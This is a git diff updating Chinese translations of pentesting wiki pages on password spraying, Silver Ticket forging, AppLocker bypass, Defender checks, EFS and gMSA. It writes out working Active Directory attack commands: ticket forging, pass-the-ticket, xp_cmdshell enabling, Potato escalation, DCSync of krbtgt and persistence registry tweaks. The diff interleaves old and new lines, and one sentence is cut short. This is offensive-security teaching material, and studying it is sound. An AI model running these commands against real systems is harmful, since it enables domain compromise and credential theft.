./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
 | 
			
		||||
[x] Failed: larsson:Summer2020
 | 
			
		||||
@ -215,7 +214,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
 | 
			
		||||
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
 | 
			
		||||
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
 | 
			
		||||
 | 
			
		||||
## 参考
 | 
			
		||||
## 参考资料
 | 
			
		||||
 | 
			
		||||
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
 | 
			
		||||
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
 | 
			
		||||
 | 
			
		||||
@ -6,15 +6,16 @@
 | 
			
		||||
 | 
			
		||||
## Silver ticket
 | 
			
		||||
 | 
			
		||||
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
 | 
			
		||||
**Silver Ticket** 攻击利用 Active Directory (AD) 环境中的服务票据。该方法依赖于获取 service account(例如 computer account)的 **NTLM hash**,以伪造 Ticket Granting Service (TGS) ticket。使用这个伪造的票据,攻击者可以访问网络上的特定服务,**冒充任何用户**,通常以获取管理员权限为目标。需要强调的是,使用 **AES keys** 来伪造票据在安全性和隐蔽性上更好。
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
 | 
			
		||||
> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
 | 
			
		||||
> Silver Tickets 比 Golden Tickets 更难被检测到,因为它们只需要 **hash of the service account**,而不是 krbtgt account。  
 | 
			
		||||
> 然而,它们仅限于所针对的特定服务。此外,仅仅窃取某个用户的密码。  
 | 
			
		||||
> 此外,如果你攻破了具有 SPN 的 **account's password**,你可以使用该密码为该服务创建一个 Silver Ticket,**冒充任意用户**。
 | 
			
		||||
 | 
			
		||||
For ticket crafting, different tools are employed based on the operating system:
 | 
			
		||||
 | 
			
		||||
### On Linux
 | 
			
		||||
### 在 Linux 上
 | 
			
		||||
```bash
 | 
			
		||||
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
 | 
			
		||||
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
 | 
			
		||||
@ -37,11 +38,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
 | 
			
		||||
# Obtain a shell
 | 
			
		||||
.\PsExec.exe -accepteula \\<TARGET> cmd
 | 
			
		||||
```
 | 
			
		||||
CIFS 服务被强调为访问受害者文件系统的常见目标,但像 HOST 和 RPCSS 这样的其他服务也可以被利用来执行任务和进行 WMI 查询。
 | 
			
		||||
The CIFS 服务被强调为访问受害者文件系统的常见目标,但诸如 HOST 和 RPCSS 等其他服务也可以被利用来执行任务和 WMI 查询。
 | 
			
		||||
 | 
			
		||||
### 示例:MSSQL 服务 (MSSQLSvc) + Potato to SYSTEM
 | 
			
		||||
### 示例:MSSQL 服务 (MSSQLSvc) + Potato 提权到 SYSTEM
 | 
			
		||||
 | 
			
		||||
如果你拥有某个 SQL 服务账号(例如 sqlsvc)的 NTLM hash(或 AES key),你可以为 MSSQL SPN 伪造一个 TGS,并向 SQL 服务冒充任意用户。从那里,启用 xp_cmdshell 以该 SQL 服务账号的身份执行命令。如果该令牌具有 SeImpersonatePrivilege,则可以链式使用 Potato 提权到 SYSTEM。
 | 
			
		||||
如果你拥有 SQL 服务账户(例如 sqlsvc)的 NTLM hash(或 AES key),你可以为 MSSQL SPN 伪造一个 TGS,并冒充任意用户访问 SQL 服务。随后,启用 xp_cmdshell 以 SQL 服务账户身份执行命令。如果该 token 拥有 SeImpersonatePrivilege,则可以链式使用 Potato 提权到 SYSTEM。
 | 
			
		||||
```bash
 | 
			
		||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
 | 
			
		||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
 | 
			
		||||
@ -52,14 +53,14 @@ export KRB5CCNAME=$PWD/administrator.ccache
 | 
			
		||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
 | 
			
		||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
 | 
			
		||||
```
 | 
			
		||||
- 如果获得的上下文具有 SeImpersonatePrivilege(对于服务账户通常为真),使用 Potato 变体来获取 SYSTEM:
 | 
			
		||||
- 如果结果上下文具有 SeImpersonatePrivilege(这对于 service accounts 通常为真),使用 Potato 变体以获取 SYSTEM:
 | 
			
		||||
```bash
 | 
			
		||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
 | 
			
		||||
PrintSpoofer.exe -c "cmd /c whoami"
 | 
			
		||||
# or
 | 
			
		||||
GodPotato -cmd "cmd /c whoami"
 | 
			
		||||
```
 | 
			
		||||
关于滥用 MSSQL 和启用 xp_cmdshell 的更多细节:
 | 
			
		||||
关于滥用 MSSQL 并启用 xp_cmdshell 的更多细节:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
abusing-ad-mssql.md
 | 
			
		||||
@ -73,50 +74,51 @@ Potato 技术概述:
 | 
			
		||||
 | 
			
		||||
## 可用服务
 | 
			
		||||
 | 
			
		||||
| 服务类型                                   | Service Silver Tickets                                                     |
 | 
			
		||||
| 服务类型                                   | 服务 Silver Tickets                                                         |
 | 
			
		||||
| ------------------------------------------ | -------------------------------------------------------------------------- |
 | 
			
		||||
| WMI                                        | <p>HOST</p><p>RPCSS</p>                                                    |
 | 
			
		||||
| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>视操作系统而定:</p><p>WSMAN</p><p>RPCSS</p>       |
 | 
			
		||||
| WinRM                                      | <p>HOST</p><p>HTTP</p><p>在某些情况下你可以只请求:WINRM</p>               |
 | 
			
		||||
| 计划任务                                   | HOST                                                                       |
 | 
			
		||||
| Windows 文件共享,也 psexec                 | CIFS                                                                       |
 | 
			
		||||
| LDAP 操作(包括 DCSync)                   | LDAP                                                                       |
 | 
			
		||||
| Windows 远程服务器管理工具                 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
 | 
			
		||||
| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>视操作系统而定,还可能有:</p><p>WSMAN</p><p>RPCSS</p> |
 | 
			
		||||
| WinRM                                      | <p>HOST</p><p>HTTP</p><p>在某些情况下,你可以只请求:WINRM</p> |
 | 
			
		||||
| Scheduled Tasks                            | HOST                                                                       |
 | 
			
		||||
| Windows File Share, also psexec            | CIFS                                                                       |
 | 
			
		||||
| LDAP operations, included DCSync           | LDAP                                                                       |
 | 
			
		||||
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
 | 
			
		||||
| Golden Tickets                             | krbtgt                                                                     |
 | 
			
		||||
 | 
			
		||||
使用 **Rubeus** 可以通过以下参数**请求所有**这些票据:
 | 
			
		||||
使用 **Rubeus**,你可以使用以下参数 **请求所有** 这些票据:
 | 
			
		||||
 | 
			
		||||
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
 | 
			
		||||
 | 
			
		||||
### Silver tickets 事件 ID
 | 
			
		||||
 | 
			
		||||
- 4624: 账户登录
 | 
			
		||||
- 4634: 账户注销
 | 
			
		||||
- 4624: 帐户登录
 | 
			
		||||
- 4634: 帐户注销
 | 
			
		||||
- 4672: 管理员登录
 | 
			
		||||
 | 
			
		||||
## 持久性
 | 
			
		||||
## 持久化
 | 
			
		||||
 | 
			
		||||
为避免机器每30天轮换密码,可设置 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`,或者可以将 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` 设置为大于 30days 的值,以指示机器密码应在何时轮换。
 | 
			
		||||
为了避免计算机每 30 天轮换密码,将 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` 设置为 1,或者将 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` 设置为大于 30 天的值,以延长机器密码的轮换周期。
 | 
			
		||||
 | 
			
		||||
## 滥用服务票据
 | 
			
		||||
## 滥用 Service tickets
 | 
			
		||||
 | 
			
		||||
在以下示例中,假设票据是通过模拟管理员账户获取的。
 | 
			
		||||
在下面的示例中,假设该 ticket 是以管理员帐户冒充获取的。
 | 
			
		||||
 | 
			
		||||
### CIFS
 | 
			
		||||
 | 
			
		||||
使用该票据,你可以通过 **SMB**(如果暴露)访问 `C$` 和 `ADMIN$` 文件夹,并将文件复制到远程文件系统的某个位置,例如执行如下操作:
 | 
			
		||||
使用该 ticket,您可以通过 **SMB** 访问 `C$` 和 `ADMIN$` 文件夹(如果暴露),并将文件复制到远程文件系统的某个位置,例如执行如下操作:
 | 
			
		||||
```bash
 | 
			
		||||
dir \\vulnerable.computer\C$
 | 
			
		||||
dir \\vulnerable.computer\ADMIN$
 | 
			
		||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
 | 
			
		||||
```
 | 
			
		||||
你还可以使用 **psexec** 在主机内获得 shell 或执行任意命令:
 | 
			
		||||
你还可以在主机内获取 shell,或使用 **psexec** 执行任意命令:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../lateral-movement/psexec-and-winexec.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### HOST
 | 
			
		||||
### 主机
 | 
			
		||||
 | 
			
		||||
拥有此权限后,你可以在远程计算机上创建计划任务并执行任意命令:
 | 
			
		||||
```bash
 | 
			
		||||
@ -132,7 +134,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
 | 
			
		||||
```
 | 
			
		||||
### HOST + RPCSS
 | 
			
		||||
 | 
			
		||||
利用这些 tickets,你可以 **在受害系统中执行 WMI**:
 | 
			
		||||
使用这些票据你可以**在目标系统上执行 WMI**:
 | 
			
		||||
```bash
 | 
			
		||||
#Check you have enough privileges
 | 
			
		||||
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
 | 
			
		||||
@ -142,27 +144,27 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
 | 
			
		||||
#You can also use wmic
 | 
			
		||||
wmic remote.computer.local list full /format:list
 | 
			
		||||
```
 | 
			
		||||
在以下页面查找**更多关于 wmiexec 的信息**:
 | 
			
		||||
在以下页面找到有关 **wmiexec** 的更多信息:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../lateral-movement/wmiexec.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### 主机 + WSMAN (WINRM)
 | 
			
		||||
### HOST + WSMAN (WINRM)
 | 
			
		||||
 | 
			
		||||
通过对计算机的 winrm 访问,你可以**访问它**,甚至获得一个 PowerShell:
 | 
			
		||||
通过对一台计算机的 winrm 访问,你可以 **访问它**,甚至获得一个 PowerShell:
 | 
			
		||||
```bash
 | 
			
		||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
 | 
			
		||||
```
 | 
			
		||||
Check the following page to learn **more ways to connect with a remote host using winrm**:
 | 
			
		||||
 | 
			
		||||
查看以下页面以了解 **使用 winrm 连接远程主机的更多方法**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../lateral-movement/winrm.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> 注意 **winrm 必须在远程计算机上启用并处于监听状态** 才能访问它。
 | 
			
		||||
> 请注意 **winrm 必须处于活动并监听状态** 才能访问远程计算机。
 | 
			
		||||
 | 
			
		||||
### LDAP
 | 
			
		||||
 | 
			
		||||
@ -170,7 +172,7 @@ Check the following page to learn **more ways to connect with a remote host usin
 | 
			
		||||
```
 | 
			
		||||
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
 | 
			
		||||
```
 | 
			
		||||
**了解更多关于 DCSync 的信息**,请参阅以下页面:
 | 
			
		||||
**了解有关 DCSync 的更多信息** 在以下页面:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
 | 
			
		||||
@ -4,14 +4,14 @@
 | 
			
		||||
 | 
			
		||||
## AppLocker 策略
 | 
			
		||||
 | 
			
		||||
应用程序白名单是一份已批准的软件应用或可执行文件清单,允许在系统上存在并运行。其目标是保护环境免受有害恶意软件和不符合组织特定业务需求的未批准软件的影响。
 | 
			
		||||
应用程序白名单是被允许存在并运行于系统上的经批准的软件或可执行文件的列表。其目标是保护环境免受有害的恶意软件和不符合组织特定业务需求的未批准软件的影响。
 | 
			
		||||
 | 
			
		||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 是 Microsoft's **应用程序白名单解决方案**,并赋予系统管理员对 **用户可以运行哪些应用和文件** 的控制权。它提供对可执行文件、脚本、Windows 安装程序文件、DLLs、打包应用程序和打包应用安装程序的**细粒度控制**。\
 | 
			
		||||
组织通常会**阻止 cmd.exe 和 PowerShell.exe**,并限制对某些目录的写入权限,**但这些都可以被绕过**。
 | 
			
		||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 是 Microsoft 的 **应用白名单解决方案**,并赋予系统管理员对 **用户可以运行哪些应用和文件** 的控制。它对可执行文件、脚本、Windows 安装程序文件、DLL、打包应用以及打包应用安装程序提供 **细粒度控制**。\
 | 
			
		||||
组织通常会 **阻止 cmd.exe 和 PowerShell.exe** 以及对某些目录的写访问,**但这些都可以被绕过**。
 | 
			
		||||
 | 
			
		||||
### 检查
 | 
			
		||||
 | 
			
		||||
检查哪些文件/扩展被列入黑名单/白名单:
 | 
			
		||||
检查哪些文件/扩展名被列入黑名单/白名单:
 | 
			
		||||
```bash
 | 
			
		||||
Get-ApplockerPolicy -Effective -xml
 | 
			
		||||
 | 
			
		||||
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 | 
			
		||||
$a = Get-ApplockerPolicy -effective
 | 
			
		||||
$a.rulecollections
 | 
			
		||||
```
 | 
			
		||||
该注册表路径包含 AppLocker 应用的配置和策略,提供了一种查看系统当前强制实施的规则集的方法:
 | 
			
		||||
此注册表路径包含 AppLocker 应用的配置和策略,可用于查看系统上当前强制执行的规则集:
 | 
			
		||||
 | 
			
		||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
 | 
			
		||||
 | 
			
		||||
### Bypass
 | 
			
		||||
### 绕过
 | 
			
		||||
 | 
			
		||||
- 有用的 **可写文件夹** 用于绕过 AppLocker 策略:如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 中执行任何内容,则存在一些 **可写文件夹** 可用于 **绕过此限制**。
 | 
			
		||||
- 有用的 **可写文件夹** 用于绕过 AppLocker 策略:如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 内执行任何内容,则存在一些 **可写文件夹** 可用于 **绕过此限制**。
 | 
			
		||||
```
 | 
			
		||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
 | 
			
		||||
C:\Windows\System32\spool\drivers\color
 | 
			
		||||
C:\Windows\Tasks
 | 
			
		||||
C:\windows\tracing
 | 
			
		||||
```
 | 
			
		||||
- 常见的 **被信任** 的 [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可用于绕过 AppLocker。
 | 
			
		||||
- 常被 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可用于绕过 AppLocker。
 | 
			
		||||
- **写得不严谨的规则也可能被绕过**
 | 
			
		||||
- 例如,**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**,你可以在任何地方创建一个名为 `allowed` 的**文件夹**,它将被允许。
 | 
			
		||||
- 组织通常会专注于**阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**,但会忽略 [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) 等 **其他** 可执行位置,例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
 | 
			
		||||
- **几乎很少启用 DLL 强制执行**,因为它会给系统增加额外负载,并且需要大量测试以确保不会出现问题。因此使用 **DLLs 作为后门将有助于绕过 AppLocker**。
 | 
			
		||||
- 你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中**执行 Powershell** 代码并绕过 AppLocker。更多信息请参见: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 | 
			
		||||
- 例如,**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**,你可以在任意位置创建一个名为 **`allowed`** 的文件夹,它将被允许。
 | 
			
		||||
- 组织通常也会重点阻止 **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** 可执行文件,但会忘记其他 [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations),例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
 | 
			
		||||
- 由于会增加系统负载且需要大量测试以确保不会出现故障,**很少启用 DLL enforcement**。因此使用 **DLLs 作为后门将有助于绕过 AppLocker**。
 | 
			
		||||
- 你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **execute Powershell** 代码以绕过 AppLocker。更多信息请参见: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 | 
			
		||||
 | 
			
		||||
## 凭证存储
 | 
			
		||||
## Credentials Storage
 | 
			
		||||
 | 
			
		||||
### Security Accounts Manager (SAM)
 | 
			
		||||
 | 
			
		||||
本地凭证存在此文件中,密码为哈希值。
 | 
			
		||||
本地凭证保存在此文件中,密码为哈希值。
 | 
			
		||||
 | 
			
		||||
### 本地安全权限 (LSA) - LSASS
 | 
			
		||||
### Local Security Authority (LSA) - LSASS
 | 
			
		||||
 | 
			
		||||
这些**凭证**(哈希)被**保存**在该子系统的**内存**中,用于单点登录原因。\
 | 
			
		||||
**LSA** 管理本地的**安全策略**(密码策略、用户权限……)、**认证**、**访问令牌**...\
 | 
			
		||||
LSA 会**检查** SAM 文件中提供的凭证(用于本地登录),并与**域控制器**通信以验证域用户。
 | 
			
		||||
出于单点登录原因,**credentials**(哈希)被**保存**在该子系统的**内存**中。\
 | 
			
		||||
**LSA** 管理本地 **security policy**(密码策略、用户权限...)、**authentication**、**access tokens**...\
 | 
			
		||||
LSA 会**检查** SAM 文件中提供的凭证(用于本地登录),并与 **domain controller** 进行**通信**以验证域用户。
 | 
			
		||||
 | 
			
		||||
这些**凭证**被**保存在**进程 LSASS 中:Kerberos 票证、NT 和 LM 哈希、易被解密的密码。
 | 
			
		||||
这些 **credentials** 被**保存**在 **process LSASS** 中:Kerberos 票证、NT 和 LM 哈希、可被轻易解密的密码。
 | 
			
		||||
 | 
			
		||||
### LSA secrets
 | 
			
		||||
 | 
			
		||||
LSA 可能会将某些凭据保存到磁盘:
 | 
			
		||||
LSA 可能在磁盘中保存一些凭证:
 | 
			
		||||
 | 
			
		||||
- Active Directory 计算机帐户的密码(当域控制器不可达时)。
 | 
			
		||||
- Windows 服务帐户的密码
 | 
			
		||||
- Active Directory 计算机账户的密码(当域控制器不可达时)。
 | 
			
		||||
- Windows 服务账户的密码
 | 
			
		||||
- 计划任务的密码
 | 
			
		||||
- 更多(IIS 应用的密码...)
 | 
			
		||||
- 其他(IIS 应用的密码...)
 | 
			
		||||
 | 
			
		||||
### NTDS.dit
 | 
			
		||||
 | 
			
		||||
它是 Active Directory 的数据库。仅存在于域控制器上。
 | 
			
		||||
它是 Active Directory 的数据库,仅存在于域控制器上。
 | 
			
		||||
 | 
			
		||||
## Defender
 | 
			
		||||
 | 
			
		||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是在 Windows 10、Windows 11 以及 Windows Server 版本中可用的防病毒软件。它**阻止**常见的 pentesting 工具,例如 **`WinPEAS`**。然而,存在绕过这些防护的方法。
 | 
			
		||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10、Windows 11 以及某些 Windows Server 版本中可用的杀毒软件。它会**阻止**常见的 pentesting 工具,例如 **`WinPEAS`**。不过,存在绕过这些保护的方法。
 | 
			
		||||
 | 
			
		||||
### 检查
 | 
			
		||||
### Check
 | 
			
		||||
 | 
			
		||||
要检查 **Defender** 的**状态**,你可以执行 PS cmdlet **`Get-MpComputerStatus`**(检查 **`RealTimeProtectionEnabled`** 的值以确认其是否激活):
 | 
			
		||||
要检查 **Defender** 的 **status**,你可以执行 PowerShell cmdlet **`Get-MpComputerStatus`**(查看 **`RealTimeProtectionEnabled`** 的值以确定是否启用):
 | 
			
		||||
 | 
			
		||||
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
 | 
			
		||||
 | 
			
		||||
@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 | 
			
		||||
PSComputerName                  :
 | 
			
		||||
</code></pre>
 | 
			
		||||
 | 
			
		||||
要枚举它,你也可以运行:
 | 
			
		||||
要枚举它,你还可以运行:
 | 
			
		||||
```bash
 | 
			
		||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
 | 
			
		||||
wmic /namespace:\\root\securitycenter2 path antivirusproduct
 | 
			
		||||
@ -103,101 +103,102 @@ sc query windefend
 | 
			
		||||
```
 | 
			
		||||
## 加密文件系统 (EFS)
 | 
			
		||||
 | 
			
		||||
EFS 通过加密来保护文件,使用称为 **File Encryption Key (FEK)** 的 **对称密钥**。该密钥用用户的 **公钥** 加密并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时,会使用用户数字证书对应的 **私钥** 从 $EFS 流中解密 FEK。更多细节见 [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
 | 
			
		||||
EFS 通过加密来保护文件,使用一个称为 **文件加密密钥 (FEK)** 的 **对称密钥**。该密钥使用用户的 **公钥** 进行加密,并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时,会使用用户数字证书对应的 **私钥** 来从 $EFS 流中解密 FEK。更多细节可见 [here](https://en.wikipedia.org/wiki/Encrypting_File_System)。
 | 
			
		||||
 | 
			
		||||
**无需用户主动操作的解密情形** 包括:
 | 
			
		||||
**未由用户发起的解密场景** 包括:
 | 
			
		||||
 | 
			
		||||
- 当文件或文件夹移动到非 EFS 的文件系统(例如 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table))时,会被自动解密。
 | 
			
		||||
- 通过 SMB/CIFS 协议通过网络传输加密文件时,会在传输前被解密。
 | 
			
		||||
- 当文件或文件夹被移动到非 EFS 的文件系统(如 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table))时,会自动解密。
 | 
			
		||||
- 通过 SMB/CIFS 协议通过网络发送的加密文件在传输前会被解密。
 | 
			
		||||
 | 
			
		||||
该加密方式允许文件所有者对加密文件进行 **透明访问**。但仅仅更改所有者密码并登录并不会允许解密。
 | 
			
		||||
该加密方法允许所有者**透明访问**加密文件。然而,仅更改所有者的密码并登录并不会允许解密。
 | 
			
		||||
 | 
			
		||||
**要点**:
 | 
			
		||||
 | 
			
		||||
- EFS 使用对称 FEK,并用用户的公钥加密该 FEK。
 | 
			
		||||
- 解密时使用用户的私钥以访问 FEK。
 | 
			
		||||
- 在特定情况下(如复制到 FAT32 或网络传输)会发生自动解密。
 | 
			
		||||
- 所有者可以无需额外步骤访问加密文件。
 | 
			
		||||
- EFS 使用对称 FEK,并用用户的公钥加密。
 | 
			
		||||
- 解密使用用户的私钥来访问 FEK。
 | 
			
		||||
- 在特定条件下(如复制到 FAT32 或网络传输)会发生自动解密。
 | 
			
		||||
- 所有者可以在不做额外操作的情况下访问加密文件。
 | 
			
		||||
 | 
			
		||||
### Check EFS info
 | 
			
		||||
### 检查 EFS 信息
 | 
			
		||||
 | 
			
		||||
检查某个 **用户** 是否 **使用过** 该 **服务**,可检查此路径是否存在:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
 | 
			
		||||
检查某个 **用户** 是否 **使用过** 此 **服务**,可检查此路径是否存在:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
 | 
			
		||||
 | 
			
		||||
使用 cipher /c \<file\> 检查 **谁** 有权访问该文件。你也可以在文件夹内使用 `cipher /e` 和 `cipher /d` 来 **加密** 或 **解密** 所有文件。
 | 
			
		||||
使用 cipher /c \<file\> 检查 **谁** 拥有对该文件的 **访问**。  
 | 
			
		||||
你也可以在文件夹内使用 `cipher /e` 和 `cipher /d` 来 **加密** 和 **解密** 所有文件
 | 
			
		||||
 | 
			
		||||
### Decrypting EFS files
 | 
			
		||||
### 解密 EFS 文件
 | 
			
		||||
 | 
			
		||||
#### 使用 SYSTEM 权限
 | 
			
		||||
#### 以 Authority System 身份
 | 
			
		||||
 | 
			
		||||
此方法要求 **受害用户** 在主机上 **运行** 某个 **进程**。如果满足此条件,使用 `meterpreter` 会话可以模拟该用户进程的令牌(`impersonate_token` 来自 `incognito`)。或者你也可以 `migrate` 到该用户的进程。
 | 
			
		||||
此方法要求 **受害用户** 在主机上**运行** 某个 **进程**。如果满足该条件,使用 `meterpreter` 会话可以模拟该用户进程的令牌(来自 `incognito` 的 `impersonate_token`)。或者你也可以直接 `migrate` 到该用户的进程。
 | 
			
		||||
 | 
			
		||||
#### 已知用户密码
 | 
			
		||||
#### 知道用户密码
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## 组托管服务帐户 (gMSA)
 | 
			
		||||
## Group Managed Service Accounts (gMSA)
 | 
			
		||||
 | 
			
		||||
Microsoft 开发了 **Group Managed Service Accounts (gMSA)**,以简化 IT 基础设施中服务帐户的管理。与常常启用 “Password never expire” 设置的传统服务帐户不同,gMSA 提供了更安全且更易管理的解决方案:
 | 
			
		||||
Microsoft 开发了 **Group Managed Service Accounts (gMSA)** 来简化 IT 基础架构中服务账户的管理。与通常启用“**Password never expire**”设置的传统服务账户不同,gMSA 提供了更安全且易于管理的解决方案:
 | 
			
		||||
 | 
			
		||||
- **自动密码管理**:gMSA 使用复杂的 240 字符密码,并根据域或计算机策略自动更换。此过程由 Microsoft 的 Key Distribution Service (KDC) 处理,消除了手动更新密码的需求。
 | 
			
		||||
- **增强的安全性**:这些帐户不会被锁定,并且不能用于交互式登录,提高了安全性。
 | 
			
		||||
- **多主机支持**:gMSA 可以在多台主机之间共享,适用于在多台服务器上运行的服务。
 | 
			
		||||
- **计划任务支持**:与 managed service accounts 不同,gMSA 支持运行计划任务。
 | 
			
		||||
- **简化的 SPN 管理**:当计算机的 sAMAccount 信息或 DNS 名称发生变化时,系统会自动更新 Service Principal Name (SPN),简化了 SPN 管理。
 | 
			
		||||
- **自动密码管理**:gMSA 使用复杂的 240 字符密码,并根据域或计算机策略自动更换。此过程由 Microsoft 的 Key Distribution Service (KDC) 处理,免去了手动更新密码的需要。
 | 
			
		||||
- **增强的安全性**:这些账户不会被锁定且不能用于交互式登录,从而提高了安全性。
 | 
			
		||||
- **多主机支持**:gMSA 可以在多个主机之间共享,适用于在多台服务器上运行的服务。
 | 
			
		||||
- **支持计划任务**:与 managed service accounts 不同,gMSA 支持运行计划任务。
 | 
			
		||||
- **简化的 SPN 管理**:当计算机的 sAMAccountDetails 或 DNS 名称发生更改时,系统会自动更新 Service Principal Name (SPN),从而简化了 SPN 管理。
 | 
			
		||||
 | 
			
		||||
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DCs) 每 30 天自动重置。该密码是一个称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据块,只能被授权的管理员以及安装了 gMSA 的服务器检索,以确保持久的安全环境。要访问此信息,需要使用诸如 LDAPS 的安全连接,或连接必须经过 ‘Sealing & Secure’ 认证。
 | 
			
		||||
